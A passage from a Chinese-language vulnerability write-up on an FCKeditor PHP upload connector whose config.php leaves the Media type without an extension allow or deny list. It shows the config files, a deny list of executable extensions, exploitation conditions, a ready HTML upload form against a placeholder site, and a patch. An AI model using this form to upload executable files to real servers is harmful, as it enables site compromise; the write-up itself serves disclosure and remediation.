$Config[‘DeniedExtensions’][‘File’]   = array(‘html’,’htm’,’php’,’php2′,’php3′,’php4′,’php5′,’phtml’,’pwml’,’inc’,’asp’,’aspx’,’ascx’,’jsp’,’cfm’,’cfc’,’pl’,’bat’,’exe’,’com’,’dll’,’vbs’,’js’,’reg’,’cgi’,’htaccess’,’asis’) ;

$Config[‘AllowedExtensions’][‘Image’] = array(‘jpg’,’gif’,’jpeg’,’png’) ;
$Config[‘DeniedExtensions’][‘Image’] = array() ;

$Config[‘AllowedExtensions’][‘Flash’] = array(‘swf’,’fla’) ;
$Config[‘DeniedExtensions’][‘Flash’] = array() ;

?>

 

问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor – The text editor for Internet – http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* – GNU General Public License Version 2 or later (the “GPL”)
*    http://www.gnu.org/licenses/gpl.html
*
* – GNU Lesser General Public License Version 2.1 or later (the “LGPL”)
*    http://www.gnu.org/licenses/lgpl.html
*
* – Mozilla Public License Version 1.1 or later (the “MPL”)
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/

global $Config ;

// SECURITY: You must explicitelly enable this “connector”. (Set it to “true”).
$Config[‘Enabled’] = false ;

// Path to user files relative to the document root.
$Config[‘UserFilesPath’] = ‘/userfiles/’ ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: ‘C:\\MySite\\userfiles\\’ or ‘/root/mysite/userfiles/’.
// Attention: The above ‘UserFilesPath’ must point to the same directory.
$Config[‘UserFilesAbsolutePath’] = ” ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config[‘ForceSingleExtension’] = true ;

$Config[‘AllowedExtensions’][‘File’] = array() ;
$Config[‘DeniedExtensions’][‘File’]   = array(‘html’,’htm’,’php’,’php2′,’php3′,’php4′,’php5′,’phtml’,’pwml’,’inc’,’asp’,’aspx’,’ascx’,’jsp’,’cfm’,’cfc’,’pl’,’bat’,’exe’,’com’,’dll’,’vbs’,’js’,’reg’,’cgi’,’htaccess’,’asis’) ;

$Config[‘AllowedExtensions’][‘Image’] = array(‘jpg’,’gif’,’jpeg’,’png’) ;
$Config[‘DeniedExtensions’][‘Image’] = array() ;

$Config[‘AllowedExtensions’][‘Flash’] = array(‘swf’,’fla’) ;
$Config[‘DeniedExtensions’][‘Flash’] = array() ;

$Config[‘AllowedExtensions’][‘Media’] = array(‘swf’,’fla’,’jpg’,’gif’,’jpeg’,’png’,’avi’,’mpg’,’mpeg’) ;
$Config[‘DeniedExtensions’][‘Media’] = array() ;

?>

    2、漏洞利用
既然fckeditor/editor/filemanager/browser/default/connectors/php/config.php已经过滤了,那就只能利用fckeditor/editor/filemanager/upload/php/config.php了。
不过如果留意一下改配置文件,就能看到默认情况下“$Config[‘Enabled’] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
自己写段上传脚本:

<form id=”frmUpload” enctype=”multipart/form-data” action=”http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>
Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>

    提交后查看源码就能看到上传文件的位置。
3、漏洞修补
最好用新版,要不就拷贝以下代码到config.php最后。

$Config[‘AllowedExtensions’][‘Media’] = array(‘swf’,’fla’,’jpg’,’gif’,’jpeg’,’png’,’avi’,’mpg’,’mpeg’) ;
$Config[‘DeniedExtensions’][‘Media’] = array() ;